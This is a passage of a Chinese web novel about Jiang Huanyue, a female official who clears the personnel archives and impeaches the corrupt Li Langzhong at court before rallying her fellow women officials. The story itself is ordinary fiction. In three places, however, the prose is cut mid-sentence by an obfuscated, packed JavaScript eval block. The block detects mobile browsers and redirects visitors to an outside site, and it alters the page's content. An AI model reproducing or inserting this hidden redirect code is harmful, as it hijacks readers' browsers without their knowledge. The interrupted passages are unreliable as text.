“你是南翌友人，我不会不管的。”金吏目面色逐渐恢复镇定。 “午间我约了南翌，金吏目与我同去，把话说开？” 金吏目欣然应诺，“南翌要不高兴了，姜主事还得替我分辨两句。” 姜桓月答应下，唇角压抑不住地高高翘起。 - 留仙居小二眼熟姜桓月，不等姜桓月开口，便引她进了二楼雅间。 姜桓月与秋南翌对上眼，便明了彼此的所想，在金吏目眼中二人透着一种不言而喻的默契。 金吏目坐在两人对面，一五一十地对着秋南翌说出了这些日子的所有谋算。 说完后，金吏目低头盯着桌案上的纹样，静静等待秋南翌的审判。 姜桓月无声地弯起眉眼，戳戳一直没有出声的秋南翌，秋南翌忍住笑，努力板着脸。 “舅舅，桓月是我的至交，你把她当成什么了，你们怎么总是不信我！” 金吏目的头愈发低了，完全看不出他在吏部的怵人威势。 “噗嗤——”秋南翌终于忍不住笑出声。 金吏目抬头，眼前出现两张笑脸，愣住了，“南翌，桓月，你们？” 姜桓月赧笑道：“我早看出舅舅来意，听说舅舅一身本事，想向舅舅求教，怕舅舅不肯教，这才没有挑明。”又起身端茶赔礼，“还望舅舅不要介怀。” 她一直在思考解决甲库困境的法子，得知金吏目绝技，却又苦于难以求教，便找秋南翌帮忙，金吏目的试探正中她下怀。 金吏目笑也不是，气也不是，秋南翌更在一旁轻推他的手臂，小声嘟囔：“舅舅你快接茶啊！快点！” 姜桓月顺势将茶水往前递至金吏目手中，秋南翌再抬起金吏目的手，金吏目不得不接过茶，眼眸深处对姜桓月欣赏更浓了。 在金吏目面前坦诚后，姜桓月便不在他面前遮掩，放肆地翻阅朝臣甲历，还不时向金吏目求教。 于沉浮官场多年的官吏而言，甲历更多是倾轧的武器，可于姜桓月这般新人而言，却是迅速熟悉官场的至宝。只是新人一般接触不到甲历，就是接触到，也难以能看穿背后玄妙。 在王尚书的为难下，姜桓月接触到甲历，恰巧又得到金吏目指点，是机缘巧合，更是如虎添翼。 姜桓月专心从甲历中汲取养分，整个甲库沉寂下来，无人察觉甲库的现状。 为了更好遮掩，姜桓月故意隔个三五日，大摇大摆地拎着点心包，穿过众人眼前，早早离开吏部。 吏部众人眼神交汇，神色各异，不约而同地闭紧双唇，仿佛被按下了暂停键。 待姜桓月背景消失在吏部大门，众人才恢复了动作，余光瞟向王尚书值房。 王尚书于此恍若未知，面色平板，不置一词，隔壁时常跳脚的李郎中亦不见怒色，眼中闪烁着激动。 随着日子一天天流逝，八月临近，吏部表面一派详和，众人脑中的弦却绷得越来越紧，好似爆发前沉默的火山。 姜桓月、王尚书、李郎中俱摩拳擦掌，迫不及待。 终于，在一个平静午后，宫中旨意随着习习秋风送抵吏部，彻底打破了这片宁静。 “八月十二，大夏京察。” 京察时间定下，吏部首当其冲的就是甲库，所有朝臣甲历均需提前理出。而如今距京察只余半月，姜桓月管理吏部甲库更是不足三月， 在众人或同情、或快意的目光中，姜桓月急匆匆赶回甲库，热火朝天地指挥着小吏： “朔方的放左边架子，陇右的放右边架子，别弄错了。” “江东的先等等，不要急，不要乱。” “陇西的快点，怎么还没找出来？” …… 哐当哐当的重物搬重声和姜桓月带着几分火气的嗓音，清晰地传入了隔着几座院子的王尚书值房。 此时，王尚书独自坐在桌前，眼眸深处泄出几分松快，片刻后又归于沉寂。他抖抖衣袖，打开铜锁，从柜中小心取出珍藏的松香墨，不疾不徐地开始加水研磨。 王尚书在等着姜桓月来。 然而两个时辰过去，甲库依旧喧闹，值房门前始终无人。王尚书铺开宣纸，开始细细试色，笔尖蘸墨，墨色在纸上快速晕染，似山，似云，似雾。 又过了一个时辰，门外终于响起脚步声，王尚书宣纸上的水墨早成，轻轻搁下笔，心道，姜桓月可算来了。 王尚书轻咳一声，准备好好“教导”姜桓月一番官场为人处事的道理。 “你……” 王尚书抬头，赫然发现发现来人不是他要等的姜桓月，而是踱着四方步的李郎中，面上失望一闪而过，咽下了即将出口的话， 李郎中上来便问：“王尚书，可有来过。” “没有！” 得知姜桓月没来，李郎中不由皱眉，“不应该啊，姜桓月没察觉她理不清甲库吗？她会不会找到什么法子躲开这一劫……莫非，圣人有了准话会护住姜桓月，所以姜桓月有恃无恐？” “不可能，圣人会帮着女官立足，但绝不会袒护她们。” 王尚书深知女皇脾性，女皇虽倾向女官，但不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569463|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会罔顾律法，莫说是姜桓月，就是皇子皇女犯了错处，一样会受罚。 李郎中想不明白，思索片刻，忽然笑了，“又或者，姜桓月就是个纸皮灯笼，戳戳就坏了，发现耍不起威风，正躲着哭？” “不行，我要去甲库看看。”李郎中在值房待不住，要去弄清楚姜桓月究竟在想什么。 这边姜桓月猜到今日有人来甲库，唤来小吏们对甲库进行彻底清扫，储藏的箱子底、库架顶用帕子擦了又擦，陈年老灰都被洗漱除尽。 因着清扫，所有的籍册皆搬了出来，甲库里完全没有下脚的地。 李郎中来时，看到甲库中一地籍册的模样，心放下了一半。 “姜主事，甲库的人手还够用吗？” 姜桓月阴阳道，“李郎中不是说了，甲库不重要，不需要多余人手。我哪敢在李郎中面前放肆。” 一见李郎中探头探脑的鬼祟模样，姜桓月就清楚了李郎中的来意，加上两人本就不和，当然不肯给他好脸色。 李郎中闻言没有气恼，反而伸长脖子朝甲库里打量，视线扫过每一摞籍册，“我不过是听说，甲库最近差事繁重，特意来关心姜主事。” 他绕过门口籍册，努力往甲库深处探去。 五步，四步，三步…… 李郎中越来越接近距离姜桓月用近日籍册筑成的凌乱防线，再有两步就要瞧见架子后编排整齐的籍册。 “李郎中！”姜桓月叫住李郎中，李郎中回头。 “里面还在收拾，李郎中要不还是不要往里了？”姜桓月笑意浅淡。 “没事儿，我就看看。”李郎中继续往前。 姜桓月心急速跳动，指尖酸麻，紧跟李郎中，左右张望，仿佛在搜寻什么。 两步， 一步…… 就在李郎中站定之际，一张盖布从顶上落下，携着厚重的尘灰，劈头盖脸罩住李郎中。 “咳咳咳……” 李郎中忙用衣袖掩面躲避，咳嗽不止。他掀开盖布，发髻散乱，面含愠怒，“姜主事！你……咳咳……这是怎么回事……咳咳……” “甲库杂乱，我劝过李郎中的。还不快过来给李郎中帮忙！”姜桓月憋笑，朝小吏使了一个眼色。 小吏七手八脚地过来替李郎中拍打衣袍上沾染的白尘，其中一个粗手粗脚，不小心还扯落了李郎中的荷包。 李郎中挥手赶开小吏，不再让他们近身，自行整理衣袍。 姜桓月摇头道：“李郎中还是娇气了些，若像我这般日日在甲库，如何受得起。” “咳咳……姜桓月……咳咳你……”李郎中满脸通红，也不知是羞的，还是气的。 李郎中猛地从身侧高高的籍册中抽出几本检视，一本来自岭南邕州，一本来自祁南襄州，底下还有本来自凤翔。 这才扔下籍册，甩开衣袖，冷哼一声离去。 李郎中衣袖挥舞，带倒了旁边籍册，籍册纷纷掉落，尽数散开。姜桓月与众人蹲下收拾，一小吏笑眯眯的凑上来，“姜主事，原来你让我不要拿走盖布是这个缘故啊！李郎中脸都被气青了！” 另一小吏附和，“李郎中整日都抬着下巴看人，这回又看到他的乐子了。” 姜桓月但笑不语，继续拾捡，视线触到一本籍册时却倏地顿住。 一把将它举到到眼前，看清上面文字后，姜桓月眼神越来越亮，手指紧紧捏着纸页，微微颤抖，指尖泛着青白。 她想，李郎中威风许久，是时候落幕了…… 8. 与时俱进 姜桓月走至甲库第三排，视线从一本本籍册上飞速掠过……忽地，在库架最右侧顿住。 找到了！ 她抬手取出籍册，这本她昨日刚看过，里面记载与李郎中族侄李盛有关。 姜桓月循着记忆，指尖划过纸上一行行文字，待翻至二十八页，上面赫然写着： “宣宁元年三月，襄州重湖决堤，知县李盛尽安湖中百姓，救灾济民……” 就是这儿，姜桓月轻点文字，笑了。 方才，另一本籍册记载，宣宁元年襄州重湖决堤，只有湖口受灾。 “湖口”与“湖中”之差，所涉百姓便从七户增至八百户。而李盛正因这份不知夸大了多少的的功劳，从一个小小七品知县擢升为从六品州司马。 这其中猫腻，不正是金吏目此前提过的，姜桓月不可能不眼熟。 而且，她还发现一个更有意思的事——宣宁元年，李郎中在吏部文选司管的正是朝中官员赏罚。 姜桓月嘴角列得更大了。 事情横看竖看都与李郎中脱不了干系，若捅出去，徇私枉法的罪名足以让李郎中脱一层皮。 姜桓月将两本籍册小心收好，走了出去。 外边小吏们还在聊李郎中，“李郎中偏爱拉拔亲信，他有个族侄从穷秀才变成州司马只用了两年，如今已稳稳过去三年，京察多半又是上上，运气好还能进京做个六品主事，到时候来吏部就是咱们的上官了。” 姜桓月饶有兴致地听着小吏们感慨，待“主事”一词入耳，猛然反应过来，她的这主事之位怕是占了旁人位置。 各部主事都是有数的，吏部甲库上官能空下这么多年，是有人在留着位置。 细数李盛的路子，他升任州司马，职权不大，却能接触州府行文，最能熟悉籍册，待三年任满，正好顺理成章调入吏部甲库，跻身六品京官。虽地方官入京多为平调，但甲库远离吏部中心，李盛升一级也能说得过去。 这是李盛成为六品京官最快的路。 姜桓月终于明白李郎中为什么一直对她横挑鼻子竖挑眼。 她脚步顿住，收回了刚刚迈出甲库的脚。 “你们都进来！” 姜桓月回到库内，逐一分派：“你去东边，你去北边……仔细看清楚，将文选司这八年调用的所有籍册都找出来。” 李郎中从先帝朝至今在文选司正好八年。 小吏们来来往往搬运籍册，姜桓月又朝小吏使了个眼色，“请金吏目过来！” …… 甲库耳房，籍册如流水般从姜桓月手下淌过，只一个时辰，姜桓月挑出来的籍册已摆满桌案。 姜桓月在宣纸上依次记下“存疑”籍册，一张大纸几乎要被填满。 她轻笑一声：“咱们李郎中是个惯犯，刚进吏部就做了不少缺德事，不只插手官员升迁，还有诸如那永远年久失修的城南驿馆也有他的影子在内。”吏部年年拨款，城南驿馆却总也未曾修好，银子也不知道花去哪儿了。 “虚报功劳、卖官鬻爵、中饱私囊，李郎中这些年该攒下不少家私。”金吏目身前也堆着一摞籍册。 两人说话间，小吏又从门外捧着一沓籍册进来。 “姜主事，金吏目，这是新近送来的籍册，是李郎中经手的。” 姜桓月略微颔首，示意其过来，拿起最上一本，才翻两页，不由发出讶异之声。 金吏目见状，忙也拿起一本，看了几页后，抬头与姜桓月眼神相接。 姜桓月手指敲击书页，笑容玩味：“我算是看明白了，李郎中不是看不惯女子，是看不惯我们没让他大赚一笔的。” 在新近的籍册里，李郎中盯上了女官的位置，为五个女子运作了官位。 李郎中平日在吏部与姜桓月针尖对麦芒，全然一副容不下吏部出现女官的作态，背地里运作的女官却是丝毫没含糊。 金吏目若有所思：“隐隐听人谈起，朝中唯有李郎中会做女官的生意。” “李郎中与时俱进，不愧为吏部栋梁之才。”姜桓月语气嘲讽，推开籍册，眼底寒霜一片，朝小吏道，“这些册子也全部押下！” 这里面是李郎中的罪证，姜桓月要细细查验。 在姜桓月与众人清点籍册时，一阵微风卷入耳房，掀动了桌案上打开的那本籍册，露出了后一页那个熟悉的名字——刘沐云。 此时此刻在乡里，刘家人近日一改刘沐云落选女官后的惨淡，高昂着头颅，透着掩饰不住的骄矜，好似开屏孔雀。 刘母故意在姜家祠堂前空地，大声与人攀谈：“我家沐云是个有大本事的，结识了贵人，没多久就要做大官了。” 又瞥见姜家人三叔母经过，刘母假惺惺地关心：“姜桓月不是进京选官了，这么久可有信回来？朝堂水深，别是栽了跟头，连个芝麻官都没混上，不好意思见人。” 三叔母心底发虚，仍强撑道：“桓月是……考选第一，肯定比刘沐云强。” 话里却是越发底气不足。 自姜桓月去了府城，再也没有给族中传过消息，送回来的老仆是个锯嘴葫芦，一丝口风都不透，族老连去两封信都未曾收到半分音讯。 族老等得心焦，打量着派亲信去送第三封。 三叔母却有些回过味来，现下她心虚不是姜桓月在官场毫无建树，而是姜桓月对族里恐怕已经离心。 刘母不知道里面的关窍，依旧洋洋得意。 “考选算什么，京中贵人都夸沐云的才能，一切还得进了官场才能见真章。你们还不知道吧，姜桓月马上就要大难临头了。” 刘母的消息俱是从刘沐云口中得来的，而姜桓月的消息则来自京中贵人。 刘沐云考选未中后，通过姜家书童偷来姜桓月手稿，借此结交了一位京中贵人，颇受赏识，频频往来书信。 刘沐云用银子打通关节，贵人许诺再过十余日刘沐云就能得到一个七品官， 此时，刘母自觉刘沐云的官位已经是板上钉钉，根本不把姜家人放在眼里。 - 距离京察的日子越发临近，姜桓月照常上值点卯，却未一头扎进甲库，还有闲情修剪窗外花枝，日日更换身上环佩香囊。 众人悄悄议论： “怎么姜主事不见着急？难不成是知道甲库不能交差，能过一天是一天，彻底放弃了？” “我看是，往常白主事在时，三年的甲历都得日日不歇，这次是六年，她就是有通天的本事也办不到。” “可惜了，要么贬官，要么流放，日后怕是再也见不到姜主事了。” 众人望着姜桓月，眼里透着悲悯之色，这位在殿擢大放异彩的头名竟迈入朝堂三月就要夭折了。 李郎中看在眼里，虽亦是摇头叹息，但浑身上下透着喜意，坐在茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569464|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼连点六日最好的武夷大红袍。 姜桓月有所察觉，但未理会耳边纷扰，甲库她早已理清，如今忙着梳理李郎中罪证。 她在纸上写了两笔后，摸索着手中白玉笔管，陷入沉思。 “姜主事，外边有人找！” 姜桓月有些稀奇，众人认为她逃不过此劫，皆避之不及，如今还有谁会来找她？ 难不成是南翌？ 可南翌能从金吏目那里得到消息，应该不会来。 姜桓月怀着一探究竟的心态，来到吏部府衙之外，远远便看到一抹鹅黄。 那鹅黄正沿着墙根乱走，瞧见姜桓月，便停下遥遥招手。 是她！ 姜桓月瞬间看清了那人正脸，这是殿擢那日保住与世子婚约的姑娘，乔晗玉。 上次她在留仙居见过，乔晗玉本出身京城世家，但家道中落，父亲只是个五品官， 乔晗玉神色焦灼，语气又急又快：“桓月，你千万不要再呆在吏部了！我都听说了，甲库就是一个圈套，根本理不完的，注定会耽误这次京察。京察一误，干系的所有人都会被问罪，你就是当头背锅的那个。” 姜桓月怔住一瞬，她没想到乔晗玉会来告诉她吏部的算计，毕竟她们曾经还发生过冲突。 乔晗玉跺了跺脚，紧接着又道：“我已经替你问好了，你就去兵部。我未婚夫是敬候世子，敬候主管兵部，他能把你要去。桓月，我们不必逞一时之气，留得青山在，不怕没柴烧。” 姜桓月心中酸软，乔晗玉未婚夫之前想退婚，与乔晗玉定然没有多少情谊，乔晗玉却愿意为她找夫家帮忙。 她何德何能，得乔晗玉如此相助！ 姜桓月目光肃然，直视乔晗玉双眼，一字一句道：“晗玉，我要谢你特意来给我递信，还替我打算了这么多。只是这次的事情我早有准备，最后离开的那个一定不会是我。” “你确定你不会有事？” “不会！” 姜桓月的回答斩钉截铁，乔晗玉得了姜桓月保证，长舒一口气，露出个轻松的笑，“那就好。” 又郑重道，“桓月，我知道你能做到我做不到的事情，你答应我，一定要保重自己，一定要做你想做的事。” 姜桓月深深点头，注视着乔晗玉。 方才，乔晗玉身上带着一种决绝，仿佛向姜桓月托付一切。 但乔晗玉没有察觉的是，她看向姜桓月的眸底藏着几丝难以察觉的渴望。 或许只要等待下一个时机，就能破土而出。 两人分别后，乔晗玉转过街角，那里停着一辆不起眼的马车。 乔晗玉走过去，恭敬施礼：“五殿下，姜女官说她早有准备，没答应去兵部。” “知道了，敬候那边我会去说的。”马车传出一声听不出任何情绪的话。 里面人又轻敲两下车壁。 随后，马车缓缓启动，消失在街角。 这边姜桓月回吏部，寻了个单独隔间。她挽起袖子，提气运笔，一个个黑亮小楷落于纸上，最后一句“臣姜桓月谨对”写罢手后，放下笔，又在末处盖上了自己小印。 她把写完的折子并好几张写满字的宣纸，装进带锁小匣，塞入袖中，在僻静处交给个黑脸小吏。 黑脸小吏接过匣子便出了吏部，混入人群。 宫门落锁前，这份折子出现在了女皇御案。 9. 八月京察 八月十二日，宣政殿。 此时天色朦胧，远近宫殿模糊不清，朝臣们陆陆续续自宫门处缓缓行来，只能看清服色。 殿中一切如常，朝臣相互颔首，行止间却总弥漫着一股不同寻常的滋味。 今日诸臣皆放轻脚步，来得也格外早。 姜桓月依照着往日时辰走进来时，宣政殿已没有几个空位。 在她出现那刻，殿内诡异地静默了一瞬，仿佛时间长河暂时停滞，几个呼吸间后又迅速恢复流动。 今日是京察之期，负责京察甲历的姜桓月自然成为了众人焦点，诸臣视线总会跳过李郎中瞟向姜桓月所在的那个角落。 诸臣本以为姜桓月会彻夜难眠、憔悴不堪，今日一见却是双目舒朗，眼底不见半分疲色，身姿挺拔，衣袍严整，不卑不亢站在林郎中身后。 她年轻而充满生气的面庞，在沉闷的殿内无疑是一抹亮色。 姜桓月站定后，没有四处张望，也没有与旁人交谈，只昂首望着殿上高悬的“中正仁和”匾，眉目间竟有驱狼吞虎之势。 站在对侧的大臣，有些唏嘘：“姜桓月这般气度怎么偏就遇上了吏部这些难缠的，若是换个地方，定前途无量。 旁人一人道：“她还是脾气犟，若是愿意服个软，安分熬日子，未尝不能嫁个好郎君。” 另一人摇摇头：“小姑娘何必掺和朝堂大事，就该回家赏花戏茶，日日惬意快活。《尚书》有言：牝鸡无晨。自古男女各有职分，她就不该来这。” …… 三声云板清响，诸臣敛容肃立，女皇自殿后踏上金阶，俯视诸臣。 “有事出班启奏，无事退朝！”御前太监甩动拂尘，拖长声调。 诸臣再次将视线投向了姜桓月所在方向，但这次看的是王尚书和李郎中。 李郎中笏板上是密密麻麻的小字，他抬起双臂，正待拱手。 “臣有事启奏！”在诸臣没有注意的时候，身后姜桓月已走出班列。 李郎中只得放下手，心中冷嘲，姜桓月便是现在向女皇请罪也已回天无术。 京察不是一州一地之事，关系大夏十二府道、三百六十余州，天下朝官仕子、庶黎百姓都看着，女皇根本就救不了姜桓月。 李郎中料定姜桓月会就此彻底离开朝堂。 可接下来姜桓月的话却让李郎中勃然变色。 “臣弹劾吏部郎中李承业三罪，其一卖官鬻爵，败坏吏治，其二，虚妄报功，欺君罔上，其三，贪墨无厌，截取库银……陛下，李承业不忠不义，有负圣恩，臣请陛下严惩！” 姜桓月说的越多，李郎中的脸就越白，最后更是忍不住高声反驳，“陛下，这些都是姜桓月挟私报复，污蔑于我！” “李郎中不见棺材不掉泪，既然如此，我便让你死心。” 姜桓月拍掌，便有宫人抬上个沉重木箱，箱盖打开，里面俱是官员甲历。 姜桓月拿起最上一本，念道：“李盛。”而后抬头浅笑，“不知道这个名字李郎中可有印象？” 李郎中嘴硬，“不过是我族侄，谁家没有个七亲八戚，这又能说明什么？不过是污蔑！” 姜桓月遍视众人，眼底坦荡，“这箱子里的甲历多有个共同点，遇见李郎中前默默无闻，遇着李郎中后便屡立奇功。我初也以为李郎中用人有方，可没想到却是夸大功劳，做了欺君的勾当！” “可惜李郎中骗过一时，骗不了一世。” 姜桓月低头，掏出另一本籍册，一同摔在李郎中面前。 李郎中瞥见纸上的“湖口”二字，冷汗登时就下来了，眼睛仿佛被蛰了似的，不敢再看，面色愈发惨白，口中依旧高呼冤枉。 朝臣隐有议论之声，一朝臣出班言道：“姜主事，几本甲历说明不了什么，若只是巧合呢？” 姜桓月不由笑出了声，语气微妙，“这天底下还有这么多巧合？”她咬重了“巧合”二字，眼瞅着那位出言朝臣。 那朝臣梗着脖子，目不斜视，朝上首道：“圣人，此事是姜主事一家之言，不可尽信！” “臣附议！” “姜主事与李郎中有隙，臣以为此事或有误会！” …… 殿内朝臣纷纷附和，好似李郎中真有冤屈，姜桓月是那陷害忠良的小人，惹下众怒，以至群情激愤。 李郎中面上恢复了血色，腰背挺直，腿也不抖了。 姜桓月又笑了，打量着众人的神色，“诸位真心觉得我冤枉了李郎中，而不是什么旁的缘故？” 不等诸臣回应，她又目视上首，语中颇有把握：“圣人，臣请宣人证。” 女皇颔首同意。 不多时，殿外进来两人，前边是商人打扮，后边是吏员打扮。 前边那人，诸臣都眼熟，是京中有名的掮客，传言无论什么买卖都有本事促成，后边那人看服色是书令使，有些朝臣能认出，这就是姜桓月进京那日刁难她的那位。 李郎中一见这两人，瞳孔微缩，脑中掀起滔天巨浪，手上笏板险些没拿住。 耳边，姜桓月已开始问那掮客：“说说李郎中叫你做了什么事？” 掮客道：“我只是个中人，有人想升拔官职，李郎中有能耐帮忙运作，我就帮忙搭个线。” “说具体些！” “寻常找李郎中的都是七八品的小官，价钱约莫是八品一千两起，七品五千两起，六品一万两起，京官额外加五千两。” 诸臣哗然，李郎中收受的银子还不少。李郎中是五品官，俸银不过百两，便是尚书阁老一年俸银也没有超过五百两的。 李郎中沉默不语，此时神情灰败，再无方才意气。 姜桓月接着问书令使：“你说说李郎中还做了什么？” 书令使道：“李郎中说，城南驿馆是个聚宝盆，要缓着修，每年拨到吏部修驿馆的银子，都被他截走七成。” 城南驿馆去岁拨了一万两银修缮，七成就是七千两。 诸臣无不为李郎中的大胆心惊。 看着众人神色，姜桓月笑得愈发明艳，“李郎中，人证物证俱在，你还有什么好说的？” 此刻的姜桓月在李郎中眼里，无疑于索命阎王，“扑通——”李郎中双腿一软，瘫倒在地，脸上彻底写满绝望。 姜桓月唇角微翘，昂首挺胸，高抬双手，躬身往前推去，朗声道：“请陛下严惩！” 女皇脸色铁青，带着压抑不住的愠怒。 “来人，把李郎中压下去，着大理寺卿严查。” 大理寺卿低头应诺，诸臣无人敢为李郎中说话。 女皇的目光转到姜桓月身上，神色微缓，对姜桓月的满意溢于言表，威严的眉眼渐渐浮上笑意，“桓月见微知著立下大功，我要赏你！” 姜桓月闻言，抬眸迫切望向女皇，波光暗转，眼底是藏不住的狡黠，脑后发带微微晃动，好似捉到猎物后餍足的鹰。 若是李郎中知道，姜桓月靠着扳倒他升官，恐怕会气得吐血。 女皇笑意更盛，轻轻抚掌道：“你现在是主事，正巧……” “陛下且慢！” 一直没有出言的王尚书忽然站出来道：“陛下，臣弹劾，吏部主事姜桓月贻误京察，办事不力。” 姜桓月笑容未改，还有心思观察诸臣反应。 女皇不语，王尚书又道：“姜主事虽立功，但京察关乎大夏基业，是立朝之本，功过委实不能相抵！事关国法，若失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569465|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公允，难免有损陛下颜面，更有伤大夏之威。” 王尚书做足了犯颜直谏的架势，缓缓跪下，额头抵在冷硬的金砖上一动不动。 他揣测姜桓月要借功劳躲过罪名，要提前堵住她的退路。 这次，姜桓月是插翅难逃。 殿内气息刹时凝滞，诸臣垂首敛息，都记得前次京察填进去的数十条人命，姜桓月两侧朝臣默默朝外挪动了半步。 忽然，女皇大笑，笑声顺着梁柱荡开，引得烛火跳动，女皇命人扶起王尚书道：“王尚书多虑了，姜主事昨日已经交接了京察甲历。” 王尚书身形微不可察得顿了顿，咽下一口唾沫，干涩道：“昨日？” “正是，这次的甲历理得极好！姜主事有功，王尚书亦有功。” 女皇大悦，王尚书却对此丝毫不知，心知自己定是漏掉了什么。 他本以为姜桓月今日会被论罪，没想李郎中栽了，姜桓月趁此更得女皇心意。 王尚书心里像被塞进一团稻草，刺挠得慌。 姜桓月开始发难，她斜睨一眼王尚书，冷声道：“王尚书不信我已经整完甲历，是瞧不起我是女子，还是觉得这件事本就做不成？” 这话说得厉害，殿内众人都不由倒吸了一口凉气。 王尚书双唇紧闭，哪里敢答，若说瞧不起女子，女皇还在殿上坐着，若说这件事本做不成，那为何还要派给姜桓月。 姜桓月不指望王尚书答，继续说道：“诸位别忘了方才欺君犯上、贪赃枉法的李郎中。我是女子如何，不是又如何？同朝为官，皆为大夏生民，拘泥于男女分别的定然都是泥古不化的顽固！” “说得好！”女皇拍掌，姜桓月正骂到她心坎上，朝臣心思顽固，女皇早有不满。 殿内朝臣有望着姜桓月身影，现出怔忪之色者，亦有低头，遮住眼中不服者，更有如王尚书般，表面颔首，心底仍视姜桓月等人为必须驱逐的异类者。 女皇心知肚明，暂不与他们计较，正色道：“姜桓月连立两功，此番京察，当属上上！”言外之意是姜桓月在京察后至少官升一级。 若不是姜桓月才入官场三月，时日太短，女皇也不会绕这么个圈子。 绕是如此，御史脸上已多有不同之色，碍着女皇未曾明言，就没有开口。 姜桓月叩首谢恩。 散朝后，姜桓月迈出殿门。彼时，天朗气清，一轮红日自身后升起，为她铺就一地耀金，姜桓月满腔炽烈，踏光而行…… 不过几个时辰，朝议种种已在京城传遍，姜桓月成了京中最炙手可热的人物，同批女官更将姜桓月视为楷模。 女官在大夏不算少见，但真正迈入百官视线的唯有姜桓月一人。 - 留仙居雅间，众女官再聚首，姜桓月坐在上座。 右边的乔晗玉未曾饮酒，却已带上醉意，抱着姜桓月手臂，嚷嚷：“桓月，你为我们狠狠出了一口气！这下谁敢再看不起我们！凭什么……凭什么我们就不能参预国事……” 乔晗玉眼里闪着泪光，悉数蹭在姜桓月肩上。 姜桓月初时还忍着，发现衣袍被氤湿，忙将乔晗玉推起，“这可是我今日才上身的新衣，足足等了一个月才做好。” 乔晗玉赧然坐正。 左边的秋南翌引着一女子来到姜桓月身前。 那女子衣着不俗，发簪上嵌着的大颗南珠似是宫中之物，女皇没有女儿，她不是宗室，便是世家贵女。 姜桓月自问从未见过她，却总觉眉眼有些眼熟。 “桓月，这是王筱琦。” 王？姜桓月猛然盯着秋南翌，眼神试探，秋南翌微微颔首。 姜桓月立马来了精神。 10. 背后何人？ “姜主事，你为天下女子开先河！从来没有女官能在朝堂上能以弹劾扳倒官员！行堂皇之道，除贪佞之臣，快哉！而且你说得对，同朝为官，皆为大夏生民，那些朝臣凭什么瞧不起女子！”王筱琦眼神火热，口中滔滔不绝，全然是对姜桓月的崇拜。 姜桓月笑得像只狐狸，倾身道：“王姑娘不必多礼，叫我桓月就好。我不过是做了诸位都想做的事情，今日是我一人，日后会有十人、百人、千人，终有一日，女官将势不可挡，无人再敢小觑！” 此时的姜桓月仿佛在发光，吐出的每一个字都有着撼动人心的力量，王筱琦愈发仰慕，仰头道：“桓月！你一定会在大夏史书上留下姓名，千年传颂，万年不朽！” “不是我，是我们！我们所有人都将成为大夏史书上最壮阔的一笔！”姜桓月很是郑重，在场所有人都能感觉到从心底散发的真挚之意。 所有人的心里都燃起了火，从胸膛到肺腑一片灼热，王筱琦眼中痴迷更深，胸膛起伏，咬着嘴唇几乎要说不出话。 万丈豪情在阁中激荡，久久难以平静。 可众人思及自身处境，又有些怅惘，三月过去，姜桓月已迈上朝堂，她们还在蹉跎岁月，根本接触不到差事，更别说能立功。 王尚书为刁难姜桓月，才给她分派的差事，而其他女官都被上官当成花瓶摆设，若主动讨要差事，上官便随便找些不重要的，哄孩子似的搪塞她们。 气氛逐渐低落。 乔晗玉忽然喊到，“桓月，你有主意，你教我们，我们以后听你的！” “对！”第二个附和的是当初那个嚷嚷着要嫁给国公的姑娘。 “我们听桓月！” 众人心中火焰再度燃起，纷纷赞同。 姜桓月明白，众人不是不想飞，而是被困久了，暂时忘了会飞。 她环视众人，对着一双双满是信任的眼眸，缓缓道：“好！” 听到这个字，众人仿佛有了主心骨，不自觉抬头挺起胸膛。 “桓月，还有我，我也要跟着你！”王筱琦鼓起勇气开口。 “当然少不了王大小姐！你都知道了我们的谋划，难道还想走？”姜桓月舒朗一笑，鱼儿自己进网了。 众人亦笑，气氛松快下来。 “桓月，那以后我们该怎么办？”乔晗玉迫不及待发问。 “我们有个旁人皆比不上的长处。” “是什么？” “我们在六部九寺五监皆有人手，可以互通有无，就如将作监若有笔户部该拨下的银子，可以问问南翌情况，消息多了，总能从中寻到破绽，不论是银两未结，还是有人贪赃，都是我们的机会。” 姜桓月摇晃着手中酒盏，笑得有些邪气，“我们现在不起眼，正方便打探消息。这当中，还有一类人不可忽视——胥吏。那些小吏通晓各处情况，包括暗地里的阴私，却缺少进身之阶，而我们有名位，用这些消息可以换来机会。” 众人眼前一亮，不住点头，秋南翌快速瞟了姜桓月一眼，笑着啜了口酒。 “还有那些朝臣也不是铁板一块，绝不会每个都如李郎中这般……”姜桓月放下酒盏，意味深长看着众人。她们现在要做是汲取一切可能的力量，将根系深深扎入大夏朝堂。 众人脑中愈发清明，定下心在各自位置稳扎稳打。 - 与众人分别后，姜桓月直奔大理寺，李郎中正关在大理寺狱中。 沿着阴冷狭长的巷道，姜桓月走入狱中，碧色官服在昏沉光线中格外惹眼。 